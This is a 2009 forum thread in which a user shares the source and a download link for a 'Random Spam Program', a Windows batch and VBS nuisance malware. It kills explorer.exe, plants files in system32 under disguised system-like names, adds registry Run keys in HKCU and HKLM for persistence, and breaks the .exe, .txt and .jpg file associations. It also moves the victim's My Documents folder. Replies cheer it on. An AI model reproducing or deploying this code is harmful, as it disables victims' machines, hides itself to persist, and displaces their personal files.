Thread: [Random Spam "Program"](#)

glitchgxd - May 4, 2009, 5:47 pm

Download at:

<http://www.mediafire.com/?sharekey=93f056e445d8eaa4e7ba8e3c6e11ce20c9cf1467fce424b5ce018c8114394287>

That's the compiled .exe

Source code:

[NOTE: ONE OF THE FILES THAT MAKE THESE WORK IS SOMETHING CALLED [CMDOW](#). IF YOU WANT TO COMPILE THIS YOURSELF, MAKE SURE YOU INCLUDE [CMDOW](#).
<http://www.commandline.co.uk/cmdow/cmdow.zip>]

Anyways, on with the code:

Code @echo off

TASKKILL /F /IM "explorer.exe"

Title reader_s

echo WARNING: WINDOWS IS IN DANGER!!!@@@!!!

MOVE "cmdow.exe" "C:\WINDOWS\system32\cmdow.exe"
ping -n 2 192.168.1.1>nul
cmdow reader_s /HID

MOVE "reg.vbs" "C:\WINDOWS\system32\SysFilerDda.vbs"
ping -n 2 192.168.1.1>nul
start "C:\WINDOWS\system32\SysFilerDda.vbs"

MOVE "file.bat" "C:\WINDOWS\system32\CMDHelper.bat"
ping -n 2 192.168.1.1>nul
start "C:\WINDOWS\system32\CMDHelper.bat"

COPY "KX.exe" "C:\WINDOWS\system32\1RunDll32.exe"
ping -n 2 192.168.1.1>nul

ASSOC .txt=htmlfile
ASSOC .jpg=txtfile
ASSOC .exe=txtfile

MOVE "%userprofile%\My Documents" "C:\WINDOWS\Some Folder"
ping -n 2 192.168.1.1>nul

```
start %comspec% /c "mode 40,10&title ... &echo. Have Fun&echo. ...&echo. ...&echo. ...&echo.
...&echo. ...&echo. ...&echo. ...&echo. ...&echo. ...&echo. ...&echo. ...&echo. ...&echo.
...&echo. ...&echo. ...&echo. ...&echo. ...&echo. ...&echo. ...&echo. ...&echo. ...&echo.
...&pause>NUL"
DEL /F /Q "KX.exe"
^^^ Should be compiled to KX.exe ^^^
```

Other files to include in the KX.exe:

[File.bat is too big. So I [pastebin'd](http://kxp.pastebin.com/f4670a168) it: <http://kxp.pastebin.com/f4670a168>

Then there is reg.vbs:

```
Code set oShell = CreateObject("WScript.Shell")
```

```
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\RunDll32",
"C:\WINDOWS\system32\1RunDll32.exe", "REG_SZ"
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SySfile",
"C:\WINDOWS\system32\SysFilerDda.vbs", "REG_SZ"
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CMDHelper",
"C:\WINDOWS\system32\CMDHelper.bat", "REG_SZ"
```

```
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\RunDll32",
"C:\WINDOWS\system32\1RunDll32.exe", "REG_SZ"
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SySfile",
"C:\WINDOWS\system32\SysFilerDda.vbs", "REG_SZ"
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\CMDHelper",
"C:\WINDOWS\system32\CMDHelper.bat", "REG_SZ"
```

Oh, and you need to add CMDOW.exe to that: <http://www.commandline.co.uk/cmdow/cmdow.zip>

And that's it.

It keeps running 24/7 selecting random things and is REALLY annoying =].

Enjoy!!! Oh, and this was made all by hand. No virus gens or anything. =p

ThelceLord - May 4, 2009, 8:28 pm

Wow screwed up my VM.

crux_ - May 4, 2009, 8:36 pm

Nice script man

Messge to large or message to short ahhh i like message to large.Makes you confused!

peek - May 4, 2009, 8:37 pm

Downloading right now :D

glitchgxd - May 5, 2009, 11:40 am

lol xD glad you guys like it =p

Just realised that it rhymed too btw ._. "Random Spam Program" lol
